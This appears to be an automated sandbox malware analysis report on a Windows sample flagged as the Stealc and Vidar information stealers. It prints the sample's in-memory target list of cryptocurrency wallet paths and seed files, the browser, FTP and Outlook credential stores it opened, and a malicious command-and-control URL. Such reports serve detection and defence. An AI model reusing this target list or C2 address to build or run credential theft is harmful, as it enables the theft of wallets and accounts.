Source: file.exe, 00000000.00000002.2461007040.0000000001563000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2459973983.0000000000EEE000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2459973983.0000000000D94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000000.00000002.2461007040.0000000001563000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2459973983.0000000000D94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.json
Source: file.exe, 00000000.00000002.2459973983.0000000000EEE000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2461007040.0000000001563000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2459973983.0000000000EEE000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.2461007040.0000000001544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\MultiDoge\multidoge.wallet
Source: file.exe, 00000000.00000002.2459973983.0000000000D94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2459973983.0000000000D94000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2461007040.0000000001563000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2461007040.0000000001544000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.
Source: file.exe, 00000000.00000002.2461007040.0000000001563000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2461007040.0000000001527000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5260, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.c80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2459973983.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2461007040.00000000014CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2041928747.0000000005390000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5260, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5260, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Process Injection	3 Obfuscated Files or Information	Security Account Manager	235 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	24 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	24 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	40%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
chrome.cloudflare-dns.com	0%	Virustotal	Browse
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	0%	Virustotal	Browse
play.google.com	0%	Virustotal	Browse
plus.l.google.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://www.broofa.com	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-4.corp.google.com/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
https://www.tiktok.com/	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://chromewebstore.google.com/	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	0%, Virustotal, Browse	unknown
plus.l.google.com	142.250.184.238	true	false	0%, Virustotal, Browse	unknown
play.google.com	142.250.184.206	true	false	0%, Virustotal, Browse	unknown
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	0%, Virustotal, Browse	unknown
sb.scorecardresearch.com	18.244.18.122	true	false		unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false		unknown
www.google.com	142.250.186.132	true	false		unknown
googlehosted.l.googleusercontent.com	142.250.186.33	true	false		unknown
sni1gl.wpc.nucdn.net	152.199.21.175	true	false		unknown
clients2.googleusercontent.com	unknown	unknown	false		unknown
bzib.nelreports.net	unknown	unknown	false		unknown
assets.msn.com	unknown	unknown	false		unknown
15.164.165.52.in-addr.arpa	unknown	unknown	false		unknown
c.msn.com	unknown	unknown	false		unknown
ntp.msn.com	unknown	unknown	false		unknown
apis.google.com	unknown	unknown	false		unknown
api.msn.com	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
